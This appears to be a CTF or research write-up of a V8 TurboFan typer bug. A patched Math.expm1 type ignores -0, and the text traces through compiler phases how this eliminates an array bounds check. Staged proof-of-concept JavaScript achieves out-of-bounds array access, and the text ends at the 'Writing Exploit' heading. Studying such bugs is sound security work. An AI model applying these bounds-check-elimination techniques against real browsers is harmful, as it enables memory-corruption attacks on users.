Setup

fetch v8
cd v8
git reset --hard dde25872f58951bb0148cf43d6a504ab2f280485
gclient sync
git apply < ../d8-strip-globals.patch
git apply < ../revert-bugfix-880207.patch
git apply < ../open_files_readonly.patch
tools/dev/gm.py x64.release

Patch Analysis

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Unary math functions.
     case BuiltinFunctionId::kMathAbs:
     case BuiltinFunctionId::kMathExp:
+    case BuiltinFunctionId::kMathExpm1:
       return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
     case BuiltinFunctionId::kMathAcos:
     case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     case BuiltinFunctionId::kMathAtanh:
     case BuiltinFunctionId::kMathCbrt:
     case BuiltinFunctionId::kMathCos:
-    case BuiltinFunctionId::kMathExpm1:
     case BuiltinFunctionId::kMathFround:
     case BuiltinFunctionId::kMathLog:
     case BuiltinFunctionId::kMathLog1p:

As we can see in the patch that if the function builtin id is kMathExpm1 it’ll return type of Union(PlainNumber, NAN). Which means the output will be either PlainNumber or NAN. Math.expm1(-0) always gives output -0 because of this bug during optimization the Math.expm1(-0) outputs Union(PlainNumber, NAN). Here, the typer incorrectly typed in case of -0. After the bug is triggered, Object.is() is used to determine if the the values -0 and +0 are the same.

POC:

function xploit() {
	return Object.is(Math.expm1(-0), -0);
}

console.log(xploit()); // [1]
%OptimizeFunctionOnNextCall(xploit);
console.log(xploit()); // [2]

If we run this POC, firt console [1] should print true and second console [2] should print false. However, the second console [2] prints true in this case. At this point I lost the battle. I really don’t know why the bug isn’t triggering.

Then I ran the POC with the argument --trace-turbo and spent about an hour in turbolizer.

typer_NumberExmp1

As we can see in the image NumberExpm1 is of type Number which is not as we expected. The type should be PlainNumber | NAN to trigger the bug.

simplifiedlowering_NumberExpm1

Then I put the breakpoint on the typer.cc and ran the d8 shell in gdb. Unfortunately the breakpoint didn’t hit.

breakpoint-failed

Then I found out that in operation-typer.cc when NumberExpm1 is called it’ll return type Number. The NumberExpm1 is being called from 3 different phases.

  1. Typer Phase = Typer::Visitor::Reduce
  2. LoadElimination Phase = TypeNarrowingReducer::Reduce
  3. SimplifiedLowering Phase = RepresentationSelector::UpdateFeedbackType
Type OperationTyper::NumberExpm1(Type type) {
  DCHECK(type.Is(Type::Number()));
  return Type::Number();
}

At this point I only have 1 thing on my mind which is to somehow trigger kMathExpm1 in JSCallTyper function which is in typer.cc. We know that the NumberExpm1 gets lowered to Float64Expm1 in simplified-lowering phase by RepresentationChanger and the type is also a Number which is not as we expected. Also the SameValue node is converted to NumberIsMinusZero node.

Following modification is done to trigger the bug.

Trigger 1:

function xploit(x) {
	return Object.is(Math.expm1(x), -0);
}

console.log(xploit("a")); // false
for (var i = 0; i < 0x10000; i++) {
	xploit("b");
}
	
console.log(xploit(-0)); // false

Trigger 2:

function xploit(x) {
	return Object.is(Math.expm1(x), -0);
}

console.log(xploit("a"));
%OptimizeFunctionOnNextCall(xploit);

xploit("b");

%OptimizeFunctionOnNextCall(xploit);
console.log(xploit(-0));

If we run the above POCs, code gets optimized twice. Also gets deoptimized. At first the Float64Expm1 gets optimized as Number however if we optimize it with string it gets deoptimized. And when the code gets optimized next time it has the infromation that the input is not always Number so, it’ll call the builtin function rather that Float64Expm1.

builtin-call

POC and Analysis

At this point the bug is triggered but this is not enough.

POC stage 1:

function xploit(x) {
     let arr = [1.1,1.2,1.3];
	let idx = Object.is(Math.expm1(x), -0);
     return arr[idx * 137];
}

console.log(xploit("a")); 
for (var i = 0; i < 0x10000; i++) {
	xploit("b");
}
	
console.log(xploit(-0));

When the above POC is executed, in TypedLowering stage ConstantFoldingReducer will replace SameValue node with HeapConstant[0xxxxx83200709 <false>]. Then the compiler will know that it is a False constant. Which in result will access 0th index. So we need to prevent it from performing constant folding.

idx = false = 0
arr[idx * 137]
arr[0 * 137]

heapconstant

ConstantFoldingReducer

Reduction ConstantFoldingReducer::Reduce(Node* node) {
  // [...]
    Type upper = NodeProperties::GetType(node);
    if (!upper.IsNone()) {
      Node* replacement = nullptr;
      if (upper.IsHeapConstant()) {
        replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
      }
      // [...]
    }
  }
  return NoChange();
}

constantfoldingreducer

To prevent from performing constant folding we will not give the information to the compiler that the second parameter is -0 until the EscapeAnalysis phase:

POC stage 2:

function xploit(x) {
	let mz = {a:-0}
	let arr = [1.1,1.2,1.3];
	let idx = Object.is(Math.expm1(x), mz.a);
	return arr[idx * 137];

}

console.log(xploit("a"));
for (var i = 0; i < 0x10000; i++) {
	xploit("b");
}
	
console.log(xploit(-0));

In the above POC after the EscapeAnalysis phase the SameValue node will know the second parameter mz.a is -0 (NumberConstant[-0]). This type information will be used in SimplifiedLowering phase which in result eliminates the checkbounds. In SimplifiedLowering phase while updating the feedback type using UpdateFeedbackType function, the old type will be replaced by the new type (NumberConstant[-0]). Which in result NumberMultiply node generates range (0,0). The NumberMultiply node range (0,0) is then passed to the CheckBounds node as an index. Then the index is less than the length of an array which in result eliminates the checkbounds.

As we can see in the following image, Unline POC stage 1, SameValue node is still there in LoadElimination phase and the second parameter is still unknown (LoadField[+24]).

Samevalue-loadfield

Now in EscapeAnalysis phase the second parameter is know i.e., NumberConstant[-0].

EscapeAnalysis-NumberConstant

When this information is passed to the SimplifiedLowering the SameValue returns false.

Type OperationTyper::SameValue(Type lhs, Type rhs) {
  // [...]
  if (lhs.Is(Type::MinusZero())) {
    if (rhs.Is(Type::MinusZero())) return singleton_true();
    if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
  } else if (rhs.Is(Type::MinusZero())) {
    if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
  }
  // [...]
  return Type::Boolean();
}

Now in the Simplified lowering phase during the TypePropagation the UpdateFeedbackType function is called with node SameValue. There it’ll check if the opcode is kSameValue, if it is then the new_type will set with input0_type and input1_type where,

  1. input0_type = Call (PlainNumber | NaN)
  2. input1_type = NumberConstant[-0]

Although the input1_type is MinusZero the input0_type is not MinusZero because of the Patch. So, at this point the SameValue will return singleton_false. And the UpdateFeedbackType will the update the new_type. Then, while Lowering the {Simplified} nodes in SimplifiedLowering phase it also visits the CheckBounds node.

void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
        // [...]
        if (lower()) {
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            DeferReplacement(node, node->InputAt(0));
          } else {
            NodeProperties::ChangeOp(
                node, simplified()->CheckedUint32Bounds(p.feedback()));
          }
        }
      } 
      // [...]
    } else {
      // [...]
    }
  }

Inside the VisitCheckBounds, if the phase is LOWER some checks will be done and if all checks are passed DeferReplacement function will eliminate the checkbounds. At this point optimizer knows that the SameValue node returns Singleton false. So after the multiplication the index range for the CheckBounds would be Range(0,0) and the length range would be Range(3,3). So the index_type.Min() is always greater than or equal to 0.0 and the index_type.Max() would be less than length_type.Min(). Finally the CheckBounds node will get eliminated.

BoundElimination

Writing Exploit